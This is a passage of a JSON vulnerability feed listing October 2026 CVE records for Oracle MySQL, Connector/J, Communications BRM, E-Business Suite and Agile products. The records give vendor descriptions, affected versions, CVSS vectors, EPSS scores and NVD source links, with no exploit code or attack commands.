to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.640Z","updatedAt":"2026-10-22T16:17:16.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101772","asOf":"2026-10-22T16:17:16.420Z"},"epss":{"probability":0.00388,"percentile":0.32573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101772","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101772","type":"primary","publishedAt":"2026-10-20T22:18:32.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101772, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101771","cveId":"CVE-2026-101771","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.520Z","updatedAt":"2026-10-22T16:17:16.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101771","asOf":"2026-10-22T16:17:16.253Z"},"epss":{"probability":0.00388,"percentile":0.32573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101771&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101771","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101771","type":"primary","publishedAt":"2026-10-20T22:18:32.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101771&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101771, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101770","cveId":"CVE-2026-101770","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.410Z","updatedAt":"2026-10-22T16:17:16.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101770","asOf":"2026-10-22T16:17:16.083Z"},"epss":{"probability":0.00416,"percentile":0.35603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101770","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101770","type":"primary","publishedAt":"2026-10-20T22:18:32.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101769","cveId":"CVE-2026-101769","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).","summary":"Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).  Supported versions that are affected are 26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Cluster accessible data and  unauthorized read access to a subset of MySQL Cluster accessible data. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).","detail":"Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).  Supported versions that are affected are 26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Cluster accessible data and  unauthorized read access to a subset of MySQL Cluster accessible data. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.290Z","updatedAt":"2026-10-22T18:17:21.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101769","asOf":"2026-10-22T18:17:21.290Z"},"epss":{"probability":0.00283,"percentile":0.20576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101769","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101769","type":"primary","publishedAt":"2026-10-20T22:18:32.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101768","cveId":"CVE-2026-101768","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).","summary":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:32.167Z","updatedAt":"2026-10-22T16:17:15.937Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101768","asOf":"2026-10-22T16:17:15.937Z"},"epss":{"probability":0.00427,"percentile":0.36684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101768","type":"primary","publishedAt":"2026-10-20T22:18:32.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101759","cveId":"CVE-2026-101759","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).","summary":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:31.130Z","updatedAt":"2026-10-22T16:17:15.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101759","asOf":"2026-10-22T16:17:15.787Z"},"epss":{"probability":0.0042,"percentile":0.35989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101759","type":"primary","publishedAt":"2026-10-20T22:18:31.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101758","cveId":"CVE-2026-101758","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).","summary":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized update, insert or delete access to some of Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized update, insert or delete access to some of Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:31.017Z","updatedAt":"2026-10-22T16:17:15.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101758","asOf":"2026-10-22T16:17:15.630Z"},"epss":{"probability":0.00357,"percentile":0.29184,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101758","type":"primary","publishedAt":"2026-10-20T22:18:31.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101757","cveId":"CVE-2026-101757","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).","summary":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:30.893Z","updatedAt":"2026-10-22T16:17:15.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101757","asOf":"2026-10-22T16:17:15.483Z"},"epss":{"probability":0.0016,"percentile":0.05106,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101757","type":"primary","publishedAt":"2026-10-20T22:18:30.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101746","cveId":"CVE-2026-101746","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).","summary":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).   The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).   The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:29.640Z","updatedAt":"2026-10-22T16:17:15.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101746","asOf":"2026-10-22T16:17:15.350Z"},"epss":{"probability":0.00234,"percentile":0.14192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101746","type":"primary","publishedAt":"2026-10-20T22:18:29.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability 